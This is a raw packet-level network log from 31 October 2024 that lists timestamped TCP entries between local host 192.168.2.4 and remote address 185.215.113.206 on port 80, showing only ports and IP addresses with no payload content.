Oct 31, 2024 11:27:25.444623947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444650888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444664001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444675922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444700956 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444725990 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444792032 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444806099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444822073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444833994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444840908 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444849968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444863081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444869041 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444895983 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444920063 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444988012 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445000887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445012093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445022106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445033073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445034981 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445055008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445082903 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445097923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445110083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445123911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445133924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445141077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445169926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445194006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445205927 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445218086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445230007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445242882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445254087 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445281982 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445334911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445349932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445360899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445374966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445389032 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445405960 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445431948 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445446968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445461035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445471048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445485115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445496082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445502043 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445511103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445523977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445538044 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445550919 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445580959 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445755959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445766926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445777893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445795059 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445810080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445811033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445826054 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445837021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445842028 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445858955 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445884943 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445893049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445907116 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445919991 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.445945978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.445966005 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446063042 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446075916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446088076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446101904 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446115017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446118116 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446130037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446142912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446149111 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446156979 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446171045 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446177006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446190119 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446229935 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446405888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446419954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446432114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446449041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446461916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446475029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446476936 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446487904 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446496964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446501970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446515083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446517944 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446530104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446544886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446548939 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446558952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446573019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446584940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446585894 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446604967 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446636915 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446805954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446819067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446841955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446854115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446866035 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446892977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.446897030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446909904 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446916103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446923971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446928978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446935892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446942091 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.446954012 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447012901 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447041988 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447168112 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447212934 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447264910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447282076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447294950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447309017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447319984 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447329998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447330952 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447346926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447360992 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447360992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447388887 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447403908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447411060 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447453976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447611094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447627068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447645903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447658062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447665930 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447669029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447683096 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447683096 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447700024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447709084 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447712898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447726965 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447730064 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447738886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447751045 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447752953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447767973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447778940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447779894 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447793007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447807074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447808981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447818995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447827101 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447834969 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447848082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447854042 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447861910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447874069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447887897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447892904 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447894096 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447904110 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.447920084 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.447949886 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448276043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448288918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448299885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448321104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448321104 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448335886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448337078 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448350906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448364973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448367119 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448378086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448391914 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448399067 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448405981 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448417902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448426008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448430061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448443890 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448451042 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448457003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448471069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448472023 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448482990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448489904 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448523998 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448535919 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448688984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448739052 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448890924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448904037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448915958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448928118 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448940039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448945045 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448954105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448966980 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448976040 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448982954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.448996067 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.448997021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449011087 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449014902 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.449024916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449040890 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449043989 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.449054956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449069023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449074984 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.449089050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.449119091 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.449284077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449305058 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449318886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449330091 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449342012 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.449346066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449361086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.449368000 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.449395895 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.483938932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.483987093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.484009981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.484024048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.484030008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.484062910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.484077930 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.484110117 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.535887003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.535970926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.536062002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.536154985 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.536210060 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.564940929 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.564981937 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565026045 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565032959 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565038919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565051079 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565062046 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565066099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565078020 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565083981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565130949 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565145969 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565159082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565171003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565185070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565192938 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565197945 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565227032 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565236092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565269947 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565314054 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565402031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565424919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565437078 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565448999 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565449953 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565460920 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565468073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565474033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565486908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565499067 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565500021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565511942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565525055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565526009 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565535069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565546036 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565551996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565572023 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565599918 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.565959930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565972090 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565982103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.565994024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566009998 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566015005 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566021919 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566029072 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566040039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566047907 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566051960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566063881 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566072941 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566075087 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566087961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566098928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566098928 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566112995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566113949 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566126108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566138983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566145897 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566149950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566163063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566176891 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566179991 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566189051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566200972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566205978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566215038 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566216946 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566231012 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566246033 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566273928 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566704035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566716909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566726923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566746950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566754103 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566759109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566766977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566771030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566786051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566795111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.566801071 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566826105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.566849947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567048073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567063093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567074060 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567085981 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567094088 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.567097902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567111015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.567116022 CET	49757	80	192.168.2.4	185.215.113.206
